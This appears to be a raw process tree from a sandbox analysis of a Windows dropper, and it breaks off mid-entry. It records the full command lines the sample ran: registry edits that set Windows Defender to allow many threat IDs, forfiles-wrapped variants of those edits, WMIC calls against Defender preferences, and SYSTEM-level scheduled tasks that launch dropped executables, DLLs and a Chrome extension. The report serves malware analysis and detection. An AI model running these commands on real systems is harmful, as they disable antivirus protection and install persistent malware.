- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3900
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5004
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1464
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1084
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4976
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3032
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1844
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3940
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2464
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1772
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1376
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 11:51:04 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ufCGhsm.exe\" aV /sDYRdidIR 385118 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:2712
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "yfARWRprRqUFWeTGf"
  2⤵
  PID:5020
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3588

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1844

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
PID:60

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\XgToBZh.exe
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\XgToBZh.exe aV /qRwZdidFE 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1624
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:4704
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:1156
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4428
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1844
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:1264
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:5108
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:5028
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4212
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:1236
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5068
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:4724
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:3688
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:3328
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:4672
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:1616
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4036
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4976
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
  2⤵
  PID:648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:5076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4704
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:3688
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:4720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4260
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:4844
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\AavvBN.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4072
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\FGnlMVU.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4648
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:1032
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3320
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
  2⤵
  PID:1648
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\nsuhQms.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3488
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:616
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\MmdcYIn.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3324
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\CkRKtfq.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:856
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1472
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\NLhwqPX.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3940
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "aNyMQclguOCSCcjxm" /SC once /ST 05:53:45 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nlcUipsDcFbdntMB\rExTZvaK\Ycmmmdb.dll\",#1 /tZdidPob 385118" /V1 /F
  2⤵
  - Drops file in Windows directory
  - Creates scheduled task(s)
  PID:4524
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "aNyMQclguOCSCcjxm"
  2⤵
  PID:2468
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4844
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
  2⤵
  PID:4252
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3328

C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ufCGhsm.exe
C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\ufCGhsm.exe aV /sDYRdidIR 385118 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:2700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:2464
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:2812
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4720
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:3688
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4692
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:3324
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:3320
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:4252
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:1904
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1084
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:3004
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:4120
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4988
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:4364
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3952
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:2272
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:3536
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
  2⤵
  PID:4516
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4344
- C:\Windows\SysWOW64\cmd.exe
